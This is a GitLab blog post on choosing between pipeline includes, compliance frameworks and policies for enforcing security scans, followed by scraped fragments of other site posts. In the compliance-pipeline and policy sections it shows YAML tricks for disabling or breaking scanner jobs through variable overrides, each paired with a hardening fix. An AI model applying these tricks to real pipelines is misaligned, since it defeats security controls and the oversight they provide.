available to add scanning to GitLab project pipelines. Code examples will help you kickstart security scanning on the GitLab DevSecOps platform.\n\nArticle contents:\n- [The basics of setting up security scanning](#the-basics-of-setting-up-security-scanning)\n- [Pipeline includes](#pipeline-includes)\n- [Compliance frameworks](#compliance-frameworks)\n- [Policies](#policies)\n- [Get started with security scanning](#get-started-with-security-scanning)\n\n## The basics of setting up security scanning\n\nGitLab uses [fictional personas](https://handbook.gitlab.com/handbook/product/personas/#user-personas) to describe the individual team member who would typically use a given security feature or approach. By exploring the perspective of a **Software Developer (Sasha)**, **Application Security Engineer (Amy)**, or **Platform Engineer (Priyanka)**, you can better understand the needs of each role on your team.\n\nGitLab follows a \"pipeline-per-project\" principle, stored in the file named `.gitlab-ci.yml`. This file contains the project's CI/CD pipeline definition and is revision controlled like any other file in the project. You'll learn about these project pipelines, as well as compliance pipelines and policy pipelines. While compliance pipelines and policy pipelines also refer to the YAML files in GitLab projects, they typically have a different file name and serve a different purpose.\n\nReaders already familiar with security scanning in GitLab will find clarity in the security pipeline choices available in the context of your team/organization. Therefore, we will discuss each of the approaches with respect to the following criteria:\n\n- **Ease of use:** How easy is it to add security scanning to project pipelines? Is it a reasonable task for Sasha, or something that Amy and Priyanka should handle?\n\n- **Customization:** How deeply can scanner configurations be customized using that approach? While default configurations that make sense and cover a wide range of customer needs are worth gold, the time often comes when scanner configurations need adjustments.\n\n- **Enforcement:** Is this approach suitable to companies operating in regulated industries or that otherwise have global policies in place? Can we ensure each relevant project runs Scanner X with Configuration Y?\n\n## Pipeline includes\n\n[GitLab project pipeline includes](https://docs.gitlab.com/ee/ci/yaml/includes.html) are a mechanism that allows the integration of external pipelines into the `.gitlab-ci.yaml` project pipeline. This is similar to including a library in many programming languages. This powerful feature enables the seamless incorporation of your own templates, as well as GitLab-provided templates, to be used as building blocks for your pipelines. Includes can be used in project pipelines or other pipeline files. An example of a commonly included external pipeline is including a security scanning pipeline into a GitLab project pipeline.\n\nHere are the common types of includes, which use the security scanner example.\n\n### Templates\n\nGitLab offers ready-to-use [templates](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Jobs) that can be included in a project pipeline to make it easier for teams to add in various pre-built elements. The following is example code:\n\n```yaml\ninclude:\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n  - template: Jobs/SAST.gitlab-ci.yml\n  - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n```\n\nThis code includes GitLab's templates for [Secret Detection](https://docs.gitlab.com/ee/user/application_security/secret_detection/), [Static Application Security Testing](https://docs.gitlab.com/ee/user/application_security/sast/), [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/), and [Container Scanning](https://docs.gitlab.com/ee/user/application_security/container_scanning/) – all in only five lines of code. \n\nTo modify the behavior of jobs included via templates, you can either use variables or use [GitLab's property merging capabilities](https://docs.gitlab.com/ee/ci/yaml/includes.html#merge-method-for-include).\n\nYou will find an example of modifying the GitLab Container Scanning pipeline using variables below. The [template for Container Scanning](https://gitlab.com/gitlab-org/gitlab/-/blob/59f08760feaab1eb0489f694d4f28408af9c2e8d/lib/gitlab/ci/templates/Jobs/Container-Scanning.gitlab-ci.yml) needs to know the location of the image and uses a variable named `CS_IMAGE` for that as is documented in the template code linked above.\n\n```yaml\nvariables:\n  CS_IMAGE: \"$CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA\"\n\ninclude:\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n```\n\nThe project pipeline variables are available to included job templates by defining the `CS_IMAGE` variable before the included pipeline template. The Container Scanning template inherits the `CS_IMAGE` variable value. \n\nIf we wanted to make changes to the [`allow_failure` property defined here](https://gitlab.com/gitlab-org/gitlab/-/blob/59f08760feaab1eb0489f694d4f28408af9c2e8d/lib/gitlab/ci/templates/Jobs/Container-Scanning.gitlab-ci.yml#L38), we would need to resort to property merging since the job templates employ no variable for the value. (The `allow_failure` property is a property generally available on every GitLab pipeline job. Please check the [documentation](https://docs.gitlab.com/ee/ci/yaml/#allow_failure) for details.)\n\nIn this example, `allow_failure` is set to `false`, meaning the entire pipeline stops on a container scanning failure. This stops any unscanned containers from moving forward in the pipeline.\n\n```yaml\ninclude:\n  # Includes a job called \"container_scanning\"\n  - template: Jobs/Container-Scanning.gitlab-ci.yml\n\n# Define a job with same name for merging\ncontainer_scanning:\n  allow_failure: false\n```\n\nGitLab will load the job template and – as defined in the template code – register a job called `container_scanning`. As the pipeline definition declares another job with that name, GitLab will merge that specification with the already registered job.\n\nWhile this feature offers many possibilities, it also makes it impossible to protect certain properties from being overwritten. We are only at the point of modifying the project pipeline, so there's no control over that anyway. But later on, you will see that this can pose a challenge when security needs to be enforced on a project.\n\n### Components\n\nTemplates are a great start for sharing repeatable GitLab pipelines. To further abstract reusable code across an entire organization or a GitLab instance, [GitLab introduced components](https://docs.gitlab.com/ee/ci/components/). Components are the next logical step in GitLab's evolution of pipelines. Components are designed to simplify the creation and use of functional building blocks to use in pipelines, or even to package and ship entire pipelines if needed. They offer a well-defined interface, which accepts \"inputs\" for configuration. Otherwise, the component is completely isolated, which makes them a great candidate to share work within an organization and to be searchable and reusable building blocks.\n\nDevelopers can use the [CI/CD Catalog](https://gitlab.com/explore/catalog) to browse and search the collection of publicly available GitLab components, which are components officially built and maintained by GitLab. GitLab uses the CI/CD Catalog [to publish our shipped components](https://gitlab.com/components) such as security scanners alongside community-provided components.\n\nComponents are consumed similarly to templates via the `include` keyword. In an example above, we showed how the container scanning job requires knowledge of the image location. This \"input\" uses the component for [container scanning](https://gitlab.com/components/container-scanning/-/blob/19fd5b83bc631cb9890b4fadb08d31b3150853ce/templates/container-scanning.yml) is called `cs_image`. The configuration equivalent to the previous example looks like this:\n\n```yaml\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/dependency-scanning/cargo@0.2.0\n  - component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - component: $CI_SERVER_FQDN/components/container-scanning/container-scanning@4.1.0\n    inputs:\n      cs_image: \"$CI_REGISTRY_IMAGE:$CI_COMMIT_SHORT_SHA\"\n```\nIn this example, the SAST component is pinned at Version 2.0.2, the Dependency Scanning component at Version 0.2.0, the Secret Detection component at Version 1.1.2, and the Container Scanning component at Version 4.1.0. `~latest` [and more tags are available](https://docs.gitlab.com/ee/ci/components/#component-versions) for bleeding-edge component usage and other development needs.\n\nWhether you use templates or components, your pipeline might look like the image below. The top four jobs in the test stage are the result of the four include statements in the code above.\n\n![An example pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097984/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097983863.png)\n\n### Advantages and disadvantages of using pipeline includes\n\n#### Ease of use\n\nOne of the benefits of using pipeline includes in GitLab is their ease of use. We have seen how, with essentially six lines of code, we included four commonly used security scanners. All the complex logic and setup are handled within the templates or components, saving Sacha time and effort by providing a ready-to-use solution.\n\n#### Customization\n\nWhile templates offer the highest flexibility (variables and merging), it's important to remember that with \"great power comes great responsibility.\" The flexibility of templates supports extensive customization, but requires careful management and oversight to avoid unexpected results.\n\nIn contrast, components provide a more structured mechanism for authoring, sharing, and maintaining building blocks for a broader audience. Components, while not as customizable, enhance stability and reliability, and are a valuable, reusable, and repeatable feature. \n\n#### Enforcement\n\nAs the name _include_ suggests, it is the GitLab project pipeline that needs to include templates or components. While scanner templates are straightforward to use, Amy and Priyanka cannot be sure Sacha has included them properly, or even at all. Enforcement of scanner usage is needed.\n\nFor regulated industries, managing security in project pipelines is not an approach that provides the necessary audit trail or enforcement.\n\n## Compliance frameworks\n\nGitLab identified the gap between the ability to enforce security scans on project pipelines and the need to [adhere to regulatory compliance frameworks](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/) such as PCI DSS, NIST, and many more. The introduction of compliance frameworks as functionality caters to precisely this challenge.\n\nAt first glance, a compliance framework in GitLab is merely a label attached to a project, which would typically be named after the regulatory framework it is supposed to implement. The magic is added with the link between that label and a compliance pipeline YAML file, which is responsible for implementing the necessary steps to ensure compliance. \n\nThe mechanism is straightforward: Every time the project pipeline is triggered, GitLab executes the compliance pipeline instead. The compliance pipeline runs with both the [CI/CD variables](https://docs.gitlab.com/ee/ci/variables/) and [predefined CI/CD variables](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) of the project pipeline.\n\nThis allows for two main design patterns: a \"wrapping pipeline,\" where the compliance pipeline includes the project pipeline, and an \"overriding pipeline,\" where it does not. \n\n**Note:** Compliance pipelines have been deprecated in GitLab Version 17.3 and are scheduled for removal in Version 19.0. At this point, we cannot recommend implementing this approach for new development platforms. However, you might already be using them, making it worth reading this section.\n\n### Wrapping pipelines\n\nIn the wrapping approach, the compliance pipeline defines its own jobs according to specific compliance needs. It includes the project pipeline in the same way we have seen templates included in the previous section. This setup is possible because the predefined CI/CD variables originate from the project pipeline, allowing the system to identify the pipeline definition's location for inclusion.\n\nHere is an example of what a simple compliance pipeline might look like. \n\n```yaml\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/dependency-scanning/cargo@0.2.0\n  - component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - component: $CI_SERVER_FQDN/components/container-scanning/container-scanning@4.1.0\n  - project: '$CI_PROJECT_PATH'\n    file: '$CI_CONFIG_PATH'\n    ref: '$CI_COMMIT_SHA'\n```\n\nThe last three lines include the project pipeline based on available variables.\n\n### Overriding pipelines\n\nUnlike wrapping pipelines, which include the project pipeline, overriding pipelines ignore it entirely and run only their own jobs. This type of pipeline defines each step, encompassing all necessary jobs to build, test, and deploy the application.\n\nBelow we see a mock compliance pipeline that illustrates this approach.\n\n```yaml\nstages: [\"build\", \"test\", \"deploy\"]\n\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/dependency-scanning/cargo@0.2.0\n  - component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - component: $CI_SERVER_FQDN/components/container-scanning/container-scanning@4.1.0\n\nbuild-job:\n  stage: build\n  script: echo \"Building the container image\"\n\ntest-job:\n  stage: test\n  script: echo \"Running unit tests\"\n\ndeploy-job:\n  stage: deploy\n  script: echo \"Deploying app\"\n```\n\n### Advantages and disadvantages of compliance frameworks\n\n#### Ease of use\n\nWhile compliance frameworks aren't terribly complicated, they aren't as straightforward and simple as pipeline includes. They're meant to be written and assigned to projects by Amy and Priyanka, who now need to interact with pipeline YAML code. A framework needs to be declared in the top-level namespace and compliance pipelines need to be created and maintained, and compliance frameworks need to be attached to the right projects. \n\n#### Customization\n\nAmy and Priyanka are the authors of compliance pipelines. Like Sacha in the previous section on includes, they have full control over what they include and how they include it, giving them maximum customizability of compliance jobs such as security scanners.\n\n#### Enforcement\nThis aspect of enforcing pipelines questions whether developers can tamper with security jobs? In an environment with a strong separation of duties, this nuance requires some extra attention. To answer this, we need to look at each pattern separately:\n\n##### Wrapping pipelines\nAs seen before, project pipelines are included in compliance pipelines. In addition to group- or project-level CI/CD variables, every element of that project pipeline must be considered a potential threat to the compliance pipeline. Obviously, variables and jobs stick out as primary candidates. And, in fact, they can and will influence security job behavior if used maliciously.\n\nHere is a simple example to illustrate the issue.\n\nCompliance pipeline:\n```yaml\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n  - project: '$CI_PROJECT_PATH'\n    file: '$CI_CONFIG_PATH'\n    ref: '$CI_COMMIT_SHA'\n```\n\nProject pipeline:\n```yaml\nvariables:\n  SECRET_DETECTION_DISABLED: true\n\nsemgrep-sast:\n  rules:\n    - when: never\n```\n\nThis project pipeline declares a variable `SECRET_DETECTION_DISABLED` (this could be done via project or croup-level CI/CD variables, too), which is evaluated in the included secret detection template. Further, the last three lines use the merging mechanism discussed previously, to not execute the job at all. Kind of redundant, we know.\n\nBoth overrides could be prevented using components, but you get the idea. Components, too, are receptive to such attacks via their inputs' default values, which often use variables, too! Let's take a look at how this could be taken advantage of.\n\nCompliance pipeline:\n```yaml\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - project: '$CI_PROJECT_PATH'\n    file: '$CI_CONFIG_PATH'\n    ref: '$CI_COMMIT_SHA'\n```\n\nProject pipeline:\n```yaml\nvariables:\n  CI_TEMPLATE_REGISTRY_HOST: \"docker.io\"\n```\n\nTo understand what is happening here, look at the [SAST scanner component's Line 6](https://gitlab.com/components/sast/-/blob/main/templates/sast.yml?ref_type=heads#L6):\n\n```yaml\nspec:\n  inputs:\n    stage:\n      default: test\n    image_prefix:\n      default: \"$CI_TEMPLATE_REGISTRY_HOST/security-products\"\n```\n\nThe `image_prefix` input uses the `CI_TEMPLATE_REGISTRY_HOST` to build the default value. By setting this variable to a false value in the same way we set `SECRET_DETECTION_DISABLED` to `true` before, Sacha may cause the job to load a wrong image and break SAST testing.\n\nTo prevent this override ability by the developer role, avoid templates in favor of components. This approach covers many developer-induced loopholes. To be certain of compliance, hardcode values for component inputs.\n\n##### Overriding pipelines\n\nThis type is an entirely different beast. Developers get no chance of injecting actual pipeline code into the compliance pipeline. However, compliance pipelines do run with the project's CI/CD variables. Hence, any variable specified on the group- or project-level might modify the compliance pipeline's behavior. With `SECRET_DETECTION_DISABLED` set to `true` in the project CI/CD variables, the following compliance pipeline can be modified again:\n\n```yaml\nstages: [\"build\", \"test\", \"deploy\"]\n\ninclude:\n  - template: Jobs/SAST.gitlab-ci.yml\n  - template: Jobs/Secret-Detection.gitlab-ci.yml\n\nbuild-job: ...\ntest-job: ...\ndeploy-job: ...\n```\n\nComponents can solve this particular problem, but, as before, component inputs may use CI/CD variables developers can set. Compliance pipeline authors need to identify and take care of these situations. \n\n## Policies\n\nCompliance pipelines' shortcomings have led to the next step for managing compliance: [policies](https://docs.gitlab.com/ee/user/application_security/policies/).\n\nGitLab introduced [policies](https://docs.gitlab.com/ee/user/application_security/policies/) as the way forward. Authors store a set of policies in a separate project as YAML files and apply them to projects on the group or project level. This gives Amy and Priyanka the flexibility to target individual projects with specific requirements but also to ensure compliance across the entire organization if needed. Access to the policy project can be controlled within the policy project and audited within GitLab.\n\nPolicies come in different types for different purposes. The types we are interested in right now are scan execution policies (SEP) and pipeline execution policies (PEP).\n\n### Scan execution policies\n\nAs the name suggests, SEPs require a particular scan – or set of scans – to be executed as part of the project pipeline and inject the respective scan jobs into the pipelines of associated projects. They include the respective [template](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/gitlab/ci/templates/Jobs) in the pipeline according to variables and rules set by Amy and Priyanka.\n\nGitLab supports policy authors with a comprehensive user interface in addition to a YAML-based Git workflow. The following screenshot and code snippet illustrate a very basic example of a SEP:\n\n![Scan execution policy example](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097984/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097983864.png)\n\n```yaml\nname: Secret Scanner\ndescription: ''\nenabled: true\nactions:\n- scan: secret_detection\nrules:\n- type: pipeline\n  branches:\n  - \"*\"\n```\n\nFor more details on SEP settings in the UI and YAML, please refer to the [policy documentation](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html).\n\n#### Advantages and disadvantages of scan execution policies\n\n##### Ease of use\nSEPs provide a lightweight, easy-to-use mechanism that enforces security on existing and new CI/CD pipelines across the organization or on a granular level. The UI support makes them a viable tool for all relevant personas.\n\n##### Customization\nSEPs are restricted to predefined scanner jobs, and there is no option to extend this list with custom jobs at this point. This limitation can be restrictive for teams with unique scanning requirements that fall outside the standard options.\n\n##### Enforcement\n\nOnce an SEP is applied to a project (directly or indirectly), Sacha has no way to get rid of that scan job. Though, there may be ways to – intentionally or not – manipulate the scan job's behavior.\n\nJobs injected via SEPs generally are receptive to CI/CD variables and adhere to the general rules of [variable precedence](https://docs.gitlab.com/ee/ci/variables/index.html#cicd-variable-precedence). For this injection, Policies incorporate logic that denies changing some predefined variables as described [here](https://docs.gitlab.com/ee/user/application_security/policies/scan_execution_policies.html#cicd-variables) and generally deny the configuration of variables that follow certain patterns such as `_DISABLED` or  `_EXCLUDED_PATHS`.\n\nDespite these security measures, inconsiderate use of policies may still open opportunities for tampering: In my test, I was able to set a project-level CI/CD variable `SECURE_ANALYZERS_PREFIX` to a bad value (a non-existing location) and as you can see [here](https://gitlab.com/gitlab-org/gitlab/-/blob/a2d4b8df0095c1363a105a1fa212daf227eca063/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml), the secret detection template uses that to build the location of the scanner image.\n\nWhile the scan job does get included in the pipeline run, it crashes very early and, therefore, provides no scan results. Due to the [`allow_failure: true` configuration](https://gitlab.com/gitlab-org/gitlab/-/blob/a2d4b8df0095c1363a105a1fa212daf227eca063/lib/gitlab/ci/templates/Jobs/Secret-Detection.gitlab-ci.yml#L18), the pipeline will continue to run and eventually execute a deploy job.\n\nBecause SEP variables take the highest variable precedence, there is an easy fix to reduce the attack surface of the policy: Simply hardcode the correct value in your policy YAML or via the UI:\n\n```yaml\n- name: Secret Scanner\n  actions:\n  - scan: secret_detection\n    variables:\n      SECURE_ANALYZERS_PREFIX: registry.gitlab.com/security-products\n```\n\n### Pipeline execution policies\n\nSEPs enable the injection of a set of security-related jobs into any project pipeline. In contrast, PEPs apply entire pipeline configurations to projects, offering a lot more flexibility when it comes to customizing security constraints. \n\nThere are two methods for implementing these policies, known as \"actions\": `inject` and `override`. These actions function similarly to the patterns we have seen in the compliance frameworks section and provide flexible ways to enhance and enforce security standards within the development workflow.\n\n#### Injecting pipelines\n\nInjecting pipelines involves adding the jobs and other elements defined in the policy pipeline into the project pipeline. Currently, jobs should only be injected into reserved stages, namely `.pipeline-policy-pre` and `.pipeline-policy-post` to avoid unpredictable results.\n\nGitLab handles name clashes between jobs or variables in policy and project pipelines effectively by building each pipeline in isolation before combining them. This ensures that the integration process is seamless and does not disrupt existing workflows or configurations.\n\n![security scanning - image 4](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097984/Blog/Content%20Images/Blog/Content%20Images/image4_aHR0cHM6_1750097983865.png)\n\nThe above screenshot shows an example of an injected policy pipeline. Project pipeline jobs are prefixed with `prj-` for easier identification.\n\n#### Overriding pipelines\n\nIn the override approach, the project pipeline is completely replaced by the policy pipeline. This method is similar to compliance pipelines that do not include the project's `.gitlab-ci.yml` file. Despite the override, the pipelines run using the project's CI/CD variables, maintaining consistency with project-specific configurations. The compliance pipeline we used earlier makes a perfectly fine policy pipeline, too:\n\n```yaml\nstages: [\"build\", \"test\", \"deploy\"]\n\ninclude:\n  - component: $CI_SERVER_FQDN/components/sast/sast@2.0.2\n  - component: $CI_SERVER_FQDN/components/dependency-scanning/cargo@0.2.0\n  - component: $CI_SERVER_FQDN/components/secret-detection/secret-detection@1.1.2\n  - component: $CI_SERVER_FQDN/components/container-scanning/container-scanning@4.1.0\n\nbuild-job:\n  stage: build\n  script: echo \"Building the container image\"\n\ntest-job:\n  stage: test\n  script: echo \"Running unit tests\"\n\ndeploy-job:\n  stage: deploy\n  script: echo \"Deploying app\"\n```\n\nThe image below shows a slightly more complete pipeline than the mock pipeline above:\n\n![More complete pipeline](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097984/Blog/Content%20Images/Blog/Content%20Images/image3_aHR0cHM6_1750097983866.png)\n\n**Note:** This doesn't currently work with SEPs.\n\nHowever, the existence of a Dockerfile may not always be a valid indicator, as developers might be building without Dockerfiles using Cloud Native Buildpacks, Heroku Buildpacks, Kaniko, or other tools. Managed pipelines do not encounter this challenge, as they are more controlled and centralized.\n\n\u003C!-- TOC ignore:true -->\n### Projects with multiple container images\nFor projects that produce multiple container images, several container scanning jobs would be necessary for proper coverage. This raises similar questions as before: \"How do we know there are multiple?\" and \"Is the source of that information trustworthy?\". If we wanted to rely on the existence of `Dockerfile`s a [dynamic approach](https://docs.gitlab.com/ee/ci/pipelines/downstream_pipelines.html#dynamic-child-pipelines) would be necessary that includes a container scanning job for each `Dockerfile` detected.\n\n## Get started with security scanning\nIn this article, you've learned about a variety of approaches to adding security scanning to CI/CD pipelines with a close look at ease of use, customizability, and the ability to strictly enforce scanning. You've seen that a pipeline author who is held responsible for project compliance needs to keep a few things in mind during the process to avoid surprises down the line. We recommend building a small testing space on your GitLab instance and then run a few tests to reproduce the main points of this article. Put yourself in the shoes of a malicious Sacha (Sachas aren't generally malicious people, but it's a good exercise) and think about how you could fool that annoying Amy and her security scans.\n\nGitLab provides strong support for all sorts of requirements and all approaches are – at least in our eyes – easy to implement due the platform's baked-in functionality. You should find ways to bulletproof your scan jobs and, if not, you should open a ticket with our support. \n\nHappy pipelining!\n\n> #### Get started with security scanning today!\n> [Sign up for a free 30-day trial of GitLab Ultimate](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial) to implement security scanning in your software development lifecycle.\n\n## Read more\n\n- [Meet regulatory standards with GitLab security and compliance](https://about.gitlab.com/blog/meet-regulatory-standards-with-gitlab/)\n- [How to integrate custom security scanners into GitLab](https://about.gitlab.com/blog/how-to-integrate-custom-security-scanners-into-gitlab/)\n- [Integrate external security scanners into your DevSecOps workflow](https://about.gitlab.com/blog/integrate-external-security-scanners-into-your-devsecops-workflow/)\n",[14,696,110],{"slug":1756,"featured":92,"template":677},"how-to-choose-the-right-security-scanning-approach","content:en-us:blog:how-to-choose-the-right-security-scanning-approach.yml","How To Choose The Right Security Scanning Approach","en-us/blog/how-to-choose-the-right-security-scanning-approach.yml","en-us/blog/how-to-choose-the-right-security-scanning-approach",{"_path":1762,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1763,"content":1769,"config":1775,"_id":1778,"_type":16,"title":1779,"_source":17,"_file":1780,"_stem":1781,"_extension":20},"/en-us/blog/gitlab-patch-release-17-3-1-17-2-4-17-1-6",{"title":1764,"description":1765,"ogTitle":1764,"ogDescription":1765,"config":1766,"ogImage":1381,"ogUrl":1767,"ogSiteName":767,"ogType":768,"canonicalUrls":1767,"schema":1768},"GitLab Patch Release: 17.3.1, 17.2.4, 17.1.6","Learn more about GitLab Patch Release: 17.3.1, 17.2.4, 17.1.6 for GitLab Community Edition (CE) and Enterprise Edition (EE).",{"noIndex":92},"https://about.gitlab.com/blog/gitlab-patch-release-17-3-1-17-2-4-17-1-6","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Patch Release: 17.3.1, 17.2.4, 17.1.6\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ameya Darshan\"}],\n        \"datePublished\": \"2024-08-21\",\n      }",{"title":1764,"description":1765,"authors":1770,"heroImage":1381,"date":1772,"body":1773,"category":14,"tags":1774},[1771],"Ameya Darshan","2024-08-21","This is the post for [GitLab Patch Release: 17.3.1, 17.2.4, 17.1.6](https://about.gitlab.com/releases/2024/08/21/patch-release-gitlab-17-3-1-released/).",[1292],{"slug":1776,"featured":6,"template":677,"externalUrl":1777},"gitlab-patch-release-17-3-1-17-2-4-17-1-6","https://about.gitlab.com/releases/2024/08/21/patch-release-gitlab-17-3-1-released/","content:en-us:blog:gitlab-patch-release-17-3-1-17-2-4-17-1-6.yml","Gitlab Patch Release 17 3 1 17 2 4 17 1 6","en-us/blog/gitlab-patch-release-17-3-1-17-2-4-17-1-6.yml","en-us/blog/gitlab-patch-release-17-3-1-17-2-4-17-1-6",{"_path":1783,"_dir":244,"_draft":6,"_partial":6,"_locale":7,"seo":1784,"content":1790,"config":1795,"_id":1797,"_type":16,"title":1798,"_source":17,"_file":1799,"_stem":1800,"_extension":20},"/en-us/blog/how-gitlab-helps-meet-nis2-requirements",{"title":1785,"description":1786,"ogTitle":1785,"ogDescription":1786,"noIndex":6,"ogImage":1787,"ogUrl":1788,"ogSiteName":767,"ogType":768,"canonicalUrls":1788,"schema":1789},"How GitLab helps meet NIS2 requirements","The EU's NIS2 cybersecurity legislation focuses on resilience, incident response, and risk management. Learn how GitLab's DevSecOps platform helps meet these compliance requirements.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659437/Blog/Hero%20Images/AdobeStock_398929148.jpg","https://about.gitlab.com/blog/how-gitlab-helps-meet-nis2-requirements","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab helps meet NIS2 requirements\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Joseph Longo\"}],\n        \"datePublished\": \"2024-08-20\",\n      }",{"title":1785,"description":1786,"authors":1791,"heroImage":1787,"date":1792,"body":1793,"category":14,"tags":1794},[772],"2024-08-20","Government and regulatory bodies across the world are continuously seeking to enact new laws and requirements to address the growing risk posed by global digitization and the resulting cybersecurity threat landscape. The European Union's [NIS2 Directive](https://eur-lex.europa.eu/eli/dir/2022/2555) is legislation that aims to increase cybersecurity by focusing on core competencies, including resilience, incident response, and risk management.\n\nAs the most comprehensive AI-powered DevSecOps platform, GitLab is used globally to develop better software faster. GitLab’s diverse feature set makes it a unique and valuable asset, capable of addressing many of our customers’ [security and compliance](https://about.gitlab.com/solutions/security-compliance/) needs. Let’s explore how customers can leverage the GitLab platform to support their NIS2 compliance efforts.\n\n## Article 7: National Cybersecurity Strategy\n\n**Section 2(a) - addressing cybersecurity in the supply chain for ICT products and ICT services used by entities for the provision of their services.**\n\nNIS2 requires member states to adopt policies that address cybersecurity in the supply chain. While the policies are yet to be defined by each member state, GitLab’s [Secure](https://about.gitlab.com/features/?stage=secure) stage offers a suite of features that enable customers to manage the security of their offered services as well as their supply chain.\n\n- [Static Application Security Testing (SAST)](https://about.gitlab.com/features/?stage=secure#static_application_security_testing),  [Infrastructure as Code Security Scanning](https://docs.gitlab.com/ee/user/application_security/iac_scanning/), and [Dynamic Application Security Testing (DAST)](https://about.gitlab.com/features/?stage=secure#dynamic_application_security_testing) enable customers to scan their source code, infrastructure definition files, and running applications for vulnerabilities. Then, findings can be triaged and addressed in accordance with each organization’s processes.\n\n- GitLab’s [Container Scanning](https://about.gitlab.com/features/?stage=secure#container_scanning) feature helps customers identify known vulnerabilities in their container images. \n\n![Container scanning report](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.38.54.png)\n\n- For the supply chain, [Dependency Scanning](https://docs.gitlab.com/ee/user/application_security/dependency_scanning/) helps identify known vulnerabilities in our customers’ application dependencies. [License Compliance](https://docs.gitlab.com/ee/user/compliance/license_approval_policies.html) serves as an extension of Dependency Scanning by validating whether the licenses of dependencies meet a set of criteria determined by the organization.\n\n- GitLab’s [Dependency List](https://docs.gitlab.com/ee/user/application_security/dependency_list/) also enables organizations to create a CycloneDX [software bill of materials (SBOM)](https://about.gitlab.com/blog/the-ultimate-guide-to-sboms/). To learn more, view [this tutorial on how to export an SBOM](https://docs.gitlab.com/ee/tutorials/export_sbom.html).\n\nTogether, these scanning features help create a holistic and strong testing suite to support robust application development and supply chain management processes. DAST, Dependency Scanning, and License Compliance are available with a GitLab Ultimate subscription.\n\n> [Try GitLab Ultimate free for 30 days](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/blog&glm_content=default-saas-trial).\n\n## Article 21: Cybersecurity Risk Management Measures\n\nNIS2 requires member states to ensure that essential and important entities implement appropriate technical, organizational, and operational measures to properly manage risk and mitigate the impact that the users of their services incur as a result of incidents to their service.\n\n**Section 2(d) - supply chain security, including security-related aspects concerning the relationships between each entity and its direct suppliers or service providers.**\n\nAs noted above, GitLab’s [Secure](https://about.gitlab.com/features/?stage=secure) stage enables customers to implement a broad range of detective and responsive capabilities that improve the security of their code and address risk within their supply chains.\n\nThose features can be leveraged to address the requirements that member states will pass down as part of this section.\n\n**Section 2(e) - security in network and information systems acquisition, development and maintenance, including vulnerability handling and disclosure.**\n\nAs a comprehensive DevSecOps platform, GitLab’s features help secure our customers’ software delivery lifecycles from beginning to end.\n\n- GitLab’s [planning tools](https://about.gitlab.com/features/?stage=plan) can be used to support your project management efforts and ensure that information security is appropriately considered through all phases of a project’s lifecycle. To learn more, read [How GitLab can support your ISO 27001 compliance journey](https://about.gitlab.com/blog/how-gitlab-can-support-your-iso-compliance-journey/#organizational-controls).\n\n- Through features such as [Protected Branches](https://docs.gitlab.com/ee/user/project/protected_branches.html), [Merge Request Approvals](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/), [Push Rules](https://docs.gitlab.com/ee/push_rules/push_rules.html), and [Signed Commits](https://docs.gitlab.com/ee/user/project/repository/signed_commits/), GitLab’s [Create Stage](https://about.gitlab.com/features/?stage=create) implements a secure foundation for developers to work from as they iterate and build secure code.\n\n![Signed commits](https://res.cloudinary.com/about-gitlab-com/image/upload/v1749674396/Blog/Content%20Images/Screenshot_2024-08-20_at_10.34.24.png)\n\n- GitLab’s [Secure stage](https://about.gitlab.com/features/?stage=verify) features, as mentioned above, deliver security-based value to GitLab’s [Verify](https://about.gitlab.com/features/?stage=verify), [Package](https://about.gitlab.com/features/?stage=package), and [Deploy](https://about.gitlab.com/features/?stage=deploy) stages. These stages include core [Continuous Integration](https://about.gitlab.com/features/?stage=verify)/[Continuous Delivery](https://about.gitlab.com/features/?stage=deploy) features, such as [MR Pipelines](https://docs.gitlab.com/ee/ci/merge_request_pipelines/) and [Protected Runners](https://docs.gitlab.com/ee/ci/runners/#prevent-runners-from-revealing-sensitive-information), as well as several artifact registries to meet your organizational needs.\n\n- GitLab’s [Monitor 